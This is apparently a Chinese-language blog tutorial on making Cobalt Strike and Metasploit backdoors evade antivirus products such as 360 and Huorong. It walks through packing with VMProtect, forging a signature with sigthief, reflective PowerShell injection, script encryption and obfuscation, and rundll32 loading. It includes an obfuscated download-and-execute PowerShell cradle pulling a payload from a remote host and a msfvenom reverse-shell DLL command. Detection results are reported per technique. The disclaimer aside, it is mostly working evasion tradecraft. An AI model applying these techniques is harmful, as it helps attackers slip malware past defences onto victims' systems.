宣告:⽂中所涉及的技術、思路和⼯具僅供以安全為⽬的的學習交流使⽤,任何⼈不得將其⽤於⾮法⽤途以及盈利等⽬的,否則後果⾃⾏承擔
前言
之前做靶機的時候發現有安全衛士,怎麼都突破不了,意識到了免殺的重要性,花點時間來學習一下免殺的技巧,本文分別對exe檔案和ps1檔案進行免殺測試,所涉及的工具均已打包,私信獲取
免殺介紹
免殺有很多種方式
-
1、原始碼免殺。在有原始碼的情況下,可以定位特徵碼、加花指令、多層跳轉、加無效指令、替換api、重寫api、API偽呼叫等等,這部分內容較多略複雜
-
2、無原始碼免殺。在原始碼不好修改需要對exe進行免殺時,可以加資源、替換資源、加殼、加簽名、PE優化、增加節資料等等。本文中的方法1就是這種方式,只不過算是最簡單的一種。
-
3、powershell免殺。因為mimikatz有powershell版或者使用powershell可以載入,所以對powershell的指令碼免殺也是一種方式,本文中的方法2-方法6都是對powershell進行處理。
-
4、載入器分離免殺。載入器就是利用了ShellCode和PE分離的方式來達到免殺的效果,不過很多隻能載入基於RAW格式或固定格式的shellcode,對exe程式就無能無力了
-
5、白名單免殺。白名單主要是使用了rundll32、msbuild、mshta、cscript等多個白名單程式來載入嵌入了木馬的jscript指令碼
EXE檔案免殺
首先來看看原生態的cs生成的exe後門木馬吧
火絨一放進去就報毒了,360執行之後也報毒了
VirusTotal - Home原生木馬的查殺率為48/68
加殼+簽名
需要的軟體
VMProtect Ultimate 3.4.0加殼軟體、簽名指令碼sigthief.py
安裝vmp加殼軟體後,使⽤vmp進⾏加殼
cs的後門和msf的後門都試了一下,不知道為什麼VMP這個工具不能對msf的後門加殼
加殼之後試了一下,火絨過了,360還是報毒了
使⽤ sigthief.py 對上⼀步⽣成的exe⽂件進⾏簽名。sigthief的詳細⽤法可以參考 https://github.com/secretsquirrel/SigThief(要以管理員許可權執行)
python sigthief.py -i 360safe.exe -t artifact.vmp.exe -o artifact.exe
但還是執行不了
再來看看VirusTotal,只有14/67了,降了很多
PowerShell嵌入EXE檔案
使用工具:Invoke-ReflectivePEInjection.ps1
這個方法其實只是將exe程式轉為字串,然後嵌入到Invoke-ReflectivePEInjection.ps1
中直接執行。
將下面程式碼儲存為Convert-BinaryToString.ps1
function Convert-BinaryToString { [CmdletBinding()] param ( [string] $FilePath ) try { $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); } catch { throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct."; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray); } else { throw '$ByteArray is $null.'; } Write-Output -InputObject $Base64String }
這個ps1檔案的意思是將exe轉換為二進位制檔案
執行
import-module .\Convert-BinaryToString.ps1
Convert-BinaryToString .\artifact.exe >>1.txt \\如果執行不了要加絕對路徑
新建一個payload.ps1
,內容如下,需要替換裡面1.txt的內容和Invoke-ReflectivePEInjection
內容。
# Your base64 encoded binary $InputString = '...........' #上面1.txt的內容 function Invoke-ReflectivePEInjection #Invoke-ReflectivePEInjection的內容 { ...... ...... ...... } # Convert base64 string to byte array $PEBytes = [System.Convert]::FromBase64String($InputString) # Run EXE in memory Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
然後在目標機器執行powershell -ExecutionPolicy Bypass -File payload.ps1
即可。
360火絨都過不了,Invoke-ReflectivePEInjection
這個知名度挺高的,VirusTotal
ps1檔案免殺
cs生成了一個ps1的後門指令碼,先上傳上去看看,令我意外的是360居然沒有報毒,執行也直接上線了,但火絨還是爆毒了
使用Out-EncryptedScript加密
使用Out-EncryptedScript.ps1
Import-Module .\Out-EncryptedScript.ps1
Out-EncryptedScript -ScriptPath .\payload.ps1 -Password tidesec -Salt lry123
預設會生成的evil.ps1
檔案。其中兩個引數:-Password 設定加密的金鑰-Salt 隨機數,防止被暴力破解
執行一下
[String] $cmd = Get-Content .\evil.ps1 Invoke-Expression $cmd $decrypted = de tidesec lry123 Invoke-Expression $decrypted
成功上線,且火絨和360都沒爆毒
但VirusTotal上檢測的效果卻沒這麼好
使用xencrypt加密
xencrypt.ps1
Import-Module ./xencrypt.ps1 Invoke-Xencrypt -InFile .\payload.ps1 -OutFile payload1.ps1 -Iterations 88
但是過了360還是沒能過火絨
VirusTotal效果倒是很好
C程式中執行powershell
這個執行方式也是比較簡單,在C程式碼裡執行powershell。
編譯為exe檔案
#include<stdio.h> #include<stdlib.h> int main(){ system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://192.168.200.64/payload.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);"); return 0; }
但火絨和360都過不了
反而直接執行命令不會被攔截
powershell IEX (New-Object Net.WebClient).DownloadString(''http://192.168.200.64/payload.ps1'')
拿去VirusTotal,效果反而是最好的
Invoke-Obfuscation-master
在測試一下我之前靶機試過的免殺
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
匯入之後設定要免殺的ps1指令碼路徑
set scriptpath path
選擇編碼混淆ENCODING
看到有八種編碼方式,每個都試試看
1 out 1.ps1
直接說結果吧
1、ASCII 過360沒過火絨 virustotal 5/57
2、Hex 過360沒過火絨 virustotal 5/55
3、Octal 過360沒過火絨 virustotal 5/56
4、Binary 過360沒過火絨 virustotal 2/56
5、SecureString 過360沒過火絨
6、BXOR 過360沒過火絨 virustotal 5/56
7、Special Characters 過360火絨 virustotal0/56(強)
8、Whitespace 過360沒過火絨 virustotal 1/56
說一下使用這個工具遇到的問題,一開始我連續生成了四個免殺後的ps1檔案,到第五個的時候就變得很久,我還以為是檔案太大的原因,可是生成之後的ps1檔案也用不了,到了第二天一開啟就能秒生成,加上我之前靶機也遇到這樣的問題,再加上後面試驗,發現這個工具編碼免殺的時候還不能一次全部生成,最好生成一個再重新開啟生成另一個,不知道是不是就我遇到這種情況
rundll32.exe
再介紹一種bypass的方法,msf或cs生成dll後門
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f dll >shell.dll
執行dll
C:\Windows\System32\rundll32.exe artifact.dll,Start
360沒有報毒,成功上線,但是過了一會還是被殺了
火絨直接報毒
但是,使用加殼簽名之後的dll,360火絨全過
還可以結合別的免殺方法,這裡就不測試了
總結
測試下來後發現:360對exe的檔案比較敏感,火絨則對ps1檔案敏感。遇到不同的殺軟可以針對性的選擇,也可以通過多種免殺方式結合。以後遇到別的免殺方法後續再補充,水文一篇大神見笑